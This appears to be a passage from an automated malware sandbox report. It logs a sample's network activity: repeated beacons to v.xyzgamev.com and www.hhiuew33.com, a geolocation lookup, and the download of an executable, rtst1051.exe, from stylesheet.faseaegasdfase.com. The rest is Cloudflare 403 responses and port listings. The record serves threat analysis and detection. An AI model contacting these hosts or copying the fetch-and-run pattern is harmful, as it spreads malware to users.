Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /hp8/g1/rtst1051.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: stylesheet.faseaegasdfase.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:16 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BbTQzLpyi%2FTatZ4iBAGabMGg9MOgpzKcFtP7h7gyP5IgT7omoYaOdBXU%2FDCgYI%2BH9j6%2BsNNyLTo5Hhyl875XwD8fpF%2FvUZc6K7rAHNH76LruTVTv0DcwS64RABM98OvbPg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c4f48f4f9b92-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:16 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jwahNTFzHMrw7pZq46VOXbP2rzPpw1IemPdy0nXXcBd93L0l%2FMqrbm6eTR%2B63J5meVkC8Vfmc%2Fqz1fmUvE4K65rfZLVCBnrf%2FtyepI3EFHIT1%2BQSQrM6z7DJh%2Fo22U3IhA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c4f74f6bbb79-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:18 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=buG4Tq6qOr49iHzZvx3T37UH9F7ddbwIaADCulMAuuOsjRURgVU9Bz6pCI5MOduDKFLtdIlD66BHBqLi%2BLA%2Bue6G%2FkM7I5IkXv4Q65uKvB0Sd6SORXpkjig0FyJEZbnl8w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c4fe1fa991db-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:18 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A4kJdyg5TBUyBgmPTJaRvN0cLXnfiYuiqEz87OlC6dpxjMErJXJtIrg%2BSUvDy4UHxmRPBOAzj46kDQtbunBPhHE4ZW80RBkqlQGF0A8mcVPJTVz2yPNih3r%2Fi5xFqAu9fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c4fffb0890f4-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:19 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X%2ByvCA6xIu5qdEeWvYKKjWyZ2sjIwnku4yQn4ptGyBBghvnqHSOAPEy6sLUMDsOSk47UXkZo%2FPX%2FkAXgIS4f6k5%2FibjJp48quXNhrHw43TTtHtOFCS5dnkyRa%2BTNl7IPMA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c505dada900c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:19 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PXJ3XRyT8b9O0qZE6LAdTJDH1GzlY3DIVIiJw27GRRJtp6%2F3i5%2F0pKuxpBjmsDT%2BQ5%2Bu8wSSDdZ6Uoul7J8vrfTXj4lgLGBzzw6kpbdl5wQaMfhAcal8MCqcfmt1GzXCqA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5073d7f8fd1-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:20 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m8qcmwylIpgTwZ4qfetqVB8AJplaHRkL7zba0WQVzKeFrexkGnTEJIDmnV%2Fnh62Yw7no0HkyqtzIRIw%2BWfGy8HnIRpwEySOpG7nr3UXQ6cxKruxMuQupasvrO0IO%2FrzTZQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c50e8cd7917a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:21 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G3wYIgfXmHWIjKy18WyGVTdvI0iGc2vyRB%2BxichvAJTIvsD5aGQ2FAYkv0zjSYQXiQC7AVmC1GURYjFV%2Fy1lxMv0aTa6Lw5dncvGNyEWXAWEYTlnihn16554vua27OAbKQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5114e30bb37-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:21 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qMkPM98Y8fPHfUXD4p4v4849jaSGR3HvWBJHHiwFg30WcPN6W78DMcqyu2lcYZ3UHCD4nZGzI6E4H9ptZC7Y9GEpX8a7y4aprdcPmEp7VJ%2FIkoj%2FyjwNpTlMJA1qWHY6Sw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5126a3f91ef-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:22 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8vjbCCkjWG9%2B98UpgZdLtzv%2FvsMEWQJK3HcTIY44V9wgejAXvN3HzEYNw7QweM%2FK%2Be9Bx5FsKNvOEfygqGhfr6xtYvaewc92Wze4JMJ74CkMS3RDfOZVxo7NB89jv0SgYw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c517bf3b9bc5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:22 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J1CMcvmcEJLJbaF%2BucXa4GYfYqFmgPV2CJmcj0YzH2wrQzv4bYoyggodIhDk0xV6SqZhwujoKvNFIejCezLqIhEbyE6bkhBpm6ETeejRhn209m%2B7LoEAEeC1fO0TChvlkw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c518ea18bbb0-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:22 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=30c49yQvsuNoK2hJzm%2FoFhRfefHJ72gV2O5HLDBjM%2FTmVh6d%2FkapPyESmBhee9x1V8kuliKseC%2Bjmig%2FQ1BqfOwYgBOw%2B56vM5XiAsGaoPQStf4JTeT%2FaLtU7uwdVmHNOg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c51adc59719e-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:22 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wkOjbHU68qwTKevIDpwQts1YxhRNeS1W660pCo2P%2ButsEJjuDopYU0KLx%2FYTZMGSGoHR9Z1gbQMVlad1GeJlmA7YKbbd%2FlOJ%2FUGp6GWIBrGp7mDos240T86YHjUSbvofiA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c51bebbbbbfd-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
